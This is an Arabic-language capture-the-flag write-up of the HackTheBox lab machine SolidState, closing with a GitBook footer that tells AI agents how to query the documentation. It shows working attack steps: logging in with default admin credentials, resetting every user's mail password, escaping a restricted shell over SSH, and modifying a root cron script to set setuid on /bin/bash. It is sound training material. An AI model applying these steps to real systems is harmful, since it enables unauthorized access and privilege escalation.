> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# تقرير HackTheBox عن Solidstate

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال أداة الإدارة عن بُعد James
* تغيير كلمة مرور بريد إلكتروني لمستخدم
* تسرب المعلومات
* الخروج من Bash المقيّد (rbash)
* إنشاء سكربت bash من أجل اكتشاف مهام cron (procmon.sh)
* استغلال مهمة Cron (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/ea2884e84998a6ff6030ca7d7b86198e1b732eff" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/14edbdf22e21443c80b6a5f4d74cf7482fe8e720" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

استكشاف المنافذ المفتوحة وتصديرها إلى الملف "allPorts" في دليل Nmap.

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="/files/e988e0049109afc3df88d6ec63a36261e6102afd" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

باستخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (22.25,80,110,119,45555)

<figure><img src="/files/f959c513d8eea59e5ad98f10b873c8ed8e8aa8e7" alt=""><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="/files/1120cd5f03db66f5f8693bda3f41dc4b0c5bae88" alt=""><figcaption></figcaption></figure>

### المنفذ 80

#### لم يتم العثور على أي معلومات مثيرة للاهتمام على المنفذ 80.

<figure><img src="/files/9f338d21203869cd66d35cda7cc30734fa308a0b" alt=""><figcaption></figcaption></figure>

## إدارة JAMES عن بُعد

### المنفذ 119 - NNTP

> يستخدم المنفذ 119 بروتوكول نقل أخبار الشبكة. يعمل الخادم على مثيل Apache James، وهو خادم بريد وأخبار. نتصل باستخدام `netcat`، ولكن لم يتم العثور على معلومات ذات صلة.

```bash
nc 10.10.10.51 119
```

<figure><img src="/files/aaa31004637ea2a583728daa28be4e97c66fc247" alt=""><figcaption></figcaption></figure>

### المنفذ 4555 - أداة الإدارة عن بُعد

> في سياق الإدارة عن بُعد، يمكن تشغيله للوصول إلى لوحات التحكم أو للتفاعل مع الخدمات البعيدة على الجهاز المستهدف. من المهم فحصه لمعرفة ما إذا كان مفتوحًا وما هي الخدمة التي يستضيفها.

نحاول الاتصال بلوحة إدارة James عبر Telnet:

```bash
telnet 10.10.10.51 4555
```

<figure><img src="/files/4ef1a159d31d0c5c32917dfccd96a2f101a49313" alt=""><figcaption></figcaption></figure>

بعد البحث عن بيانات الاعتماد الافتراضية، نجد:

* **المعرّف** : root
* **كلمة المرور** : root

<figure><img src="/files/c60d08494b92cfd2b033e83a44dfe10b7cb8f53a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ba29a14ad9a928ad7b7f05025b7aea83a470d8eb" alt=""><figcaption></figcaption></figure>

نتصل بنجاح ونصل إلى لوحة إدارة James. لدينا خيار سرد المستخدمين باستخدام الأمر `listusers` ، مما يتيح لنا اكتشاف 5 مستخدمين:

* `user: james`
* `user: thomas`
* `user: john`
* `user: mindy`
* `user: mailadmin`

<figure><img src="/files/b1e9e9158c879aaf8b2b73a1800c27d6db521422" alt=""><figcaption></figcaption></figure>

يمكننا تغيير كلمات مرور المستخدمين باستخدام الأمر `setpassword` للاتصال بعميل البريد على المنفذ 110. نفعل ذلك لجميع المستخدمين:

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="/files/7a4861683a575d717f35d5234ffc0e702121c53f" alt=""><figcaption></figcaption></figure>

### المنفذ 110 - POP3

> المنفذ 110 هو المنفذ القياسي المستخدم لـ **POP3** (بروتوكول مكتب البريد الإصدار 3). يُستخدم هذا البروتوكول من قبل عملاء البريد الإلكتروني لاسترجاع الرسائل من الخادم. عندما يتصل مستخدم بخادم POP3 عبر هذا المنفذ، يمكنه تنزيل رسائله.

نتصل الآن بعميل POP3 عبر Telnet:

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

للاتصال، نستخدم الأوامر التالية:

```ada
USER <user>
PASS <password>
```

نسرد الرسائل باستخدام الأمر `list` .

نلاحظ أنه لا توجد رسائل في صناديق `james` و `thomas`.

<figure><img src="/files/ad5e1955e5e82e4f5f335a6ab7ec33f43e879987" alt=""><figcaption></figcaption></figure>

ومع ذلك، لدى المستخدم `john` رسالة نسترجعها باستخدام الأمر `retr 1` تحتوي الرسالة على النص التالي:

> جون،
>
> هل يمكنك تقييد وصول Mindy إلى أن يُسمح لها بالانضمام إلى البرنامج؟ وتأكد أيضًا من إرسال كلمة مرور مؤقتة لها حتى تتمكن من الاتصال بحساباتها.
>
> شكرًا مقدمًا.
>
> مع أطيب التحيات،/ James

<figure><img src="/files/4a46e0f6ef8a6635607fc24fdf364a4da1e5d5a8" alt=""><figcaption></figcaption></figure>

يشير هذا إلى أن المستخدم `mindy` لديه بيانات اعتماد في صندوق بريده. وبالفعل، نجد المعلومات التالية:

* **اسم المستخدم** : mindy
* **كلمة المرور** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="/files/518c53eaa7e8578f2f05d77bfc809f6f434d2d13" alt=""><figcaption></figcaption></figure></div>

نستخدم هذه البيانات للاتصال عبر SSH والحصول على العلم `user.txt`.

### الراية user.txt :)

<figure><img src="/files/f40a0f7fa0a8df6939873680524b6bd45f615455" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات :

### **الخروج من RBash إلى Bash**

الـ `mindy` يستخدم المستخدم حاليًا `rbash` صدفة تحد من تنفيذ العديد من الأوامر.

<figure><img src="/files/b446d2d0d072f55de39e99f01d8b421518de5cc6" alt=""><figcaption></figcaption></figure>

لتجاوز هذا القيد، نستخدم الأمر التالي عند الاتصال عبر SSH للحصول على صدفة Bash:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/9fc934ea21be85d3dacb7ef672d4b871266a0811" alt=""><figcaption></figcaption></figure>

ثم نستخدم الأوامر التالية لمعالجة الطرفية والحصول على صدفة كاملة:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### مهام Cron - سكربت معدل (Python):

ننشئ سكربت Bash لتحليل العمليات الحالية واكتشاف مهام cron المنفذة على الجهاز المستهدف:

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

من خلال تشغيل هذا السكربت، نلاحظ أن **root** المستخدم يشغّل نصًا برمجيًا بلغة بايثون موجودًا في `/opt/tmp.py` الدليل.

<figure><img src="/files/7504b73aa47849b75c1bae0b496aa5fdcfffaf1b" alt=""><figcaption></figcaption></figure>

لدينا إمكانية تعديل هذا النص البرمجي بلغة بايثون.

<figure><img src="/files/97a2eb633309fe9340e6dc9914083fe49551e782" alt=""><figcaption></figcaption></figure>

نعدّله لإضافة الأمر الذي يضبط **setuid** على `/bin/bash` الملف الثنائي، مما يسمح لنا بتشغيل صدفة Bash بصلاحيات **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

بعد تعديل السكربت، ننتظر حوالي دقيقة حتى يتم تشغيل مهمة cron.

بمجرد تنفيذ مهمة cron، يمكننا الحصول على صدفة Bash بصلاحيات **root** مرتفعة بتشغيل الأمر التالي:

```bash
/bin/bash -p
```

<figure><img src="/files/1906f629280b6e59d315c3cd76b6b8124f4eba75" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/c77fe655a6504754d78ccfc40ba9c1d771096ef7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7515b4d222dd0d1cdd42cab56a6aa36719c98fe5" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
